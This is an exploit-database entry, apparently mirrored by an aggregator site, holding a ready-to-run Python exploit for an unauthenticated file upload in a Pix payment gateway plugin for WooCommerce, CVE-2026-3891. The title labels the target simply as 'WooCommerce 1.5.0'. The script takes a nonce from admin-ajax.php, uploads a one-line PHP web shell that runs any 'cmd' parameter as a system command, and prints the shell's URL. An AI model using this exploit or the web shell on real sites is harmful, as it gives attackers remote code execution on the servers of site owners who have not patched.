[webapps] WooCommerce 1.5.0 - Unauthenticated Arbitrary File Upload
# Exploit Title: WooCommerce 1.5.0 - Unauthentica 2026-8-17 00:0:0 Author: www.exploit-db.com(查看原文) 阅读量:0 收藏

# Exploit Title: WooCommerce 1.5.0 - Unauthenticated Arbitrary File Upload 
# Google Dork: N/A
# Date: 2026-07-15
# Exploit Author: Mohammad Hossein Sadeghian
# Vendor Homepage: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/
# Software Link: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/
# Version: <= 1.5.0
# Tested on: Ubuntu 22.04 LTS, Apache 2.4, PHP 8.2, WordPress 6.7
# CVE: CVE-2026-3891

import requests
import sys


def print_banner():
    banner = r"""
    ____                      __   _   __     __
   / __ \________  ____ _____/ /  / | / /__  / /_
  / / / / ___/ _ \/ __ \/ __  /  /  |/ / _ \/ __/
 / /_/ / /  /  __/ /_/ / /_/ /  / /|  /  __/ /_
/_____/_/   \___/\__,_/\__,_/  /_/ |_/\___/\__/

Author: m4sh_wacker
    """
    print(banner)


def main():
    print_banner()

    target = input("[?] Enter target URL: ").strip().rstrip("/")

    if not target.startswith(("http://", "https://")):
        target = "http://" + target

    ajax_url = f"{target}/wp-admin/admin-ajax.php"

    filename = "woocommerce.php"
    content = '<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>'

    session = requests.Session()

    print("\n[*] Requesting nonce...")

    try:
        response = session.post(
            ajax_url,
            data={
                "action": "lkn_pix_for_woocommerce_generate_nonce",
                "action_name": "lkn_pix_for_woocommerce_c6_settings_nonce"
            },
            timeout=10
        )

        result = response.json()
        nonce = result["data"]["nonce"]

        print(f"[+] Nonce obtained: {nonce}")

    except Exception as e:
        print(f"[-] Failed to obtain nonce: {e}")
        sys.exit(1)

    print(f"[*] Uploading {filename}...")

    try:
        response = session.post(
            ajax_url,
            data={
                "action": "lkn_pix_for_woocommerce_c6_save_settings",
                "_ajax_nonce": nonce
            },
            files={
                "certificate_crt_path": (
                    filename,
                    content,
                    "text/plain"
                )
            },
            timeout=10
        )

        result = response.json()

        if not result.get("success"):
            print("[-] Upload failed.")
            print(response.text)
            sys.exit(1)

    except Exception as e:
        print(f"[-] Upload error: {e}")
        sys.exit(1)

    uploaded_url = (
        f"{target}/wp-content/plugins/"
        f"payment-gateway-pix-for-woocommerce/"
        f"Includes/files/certs_c6/{filename}"
    )

    print("\n[+] File uploaded successfully!")
    print(f"[+] URL: {uploaded_url}")


if __name__ == "__main__":
    main()
            

文章来源: https://www.exploit-db.com/exploits/52642
如有侵权请联系:admin#unsafe.sh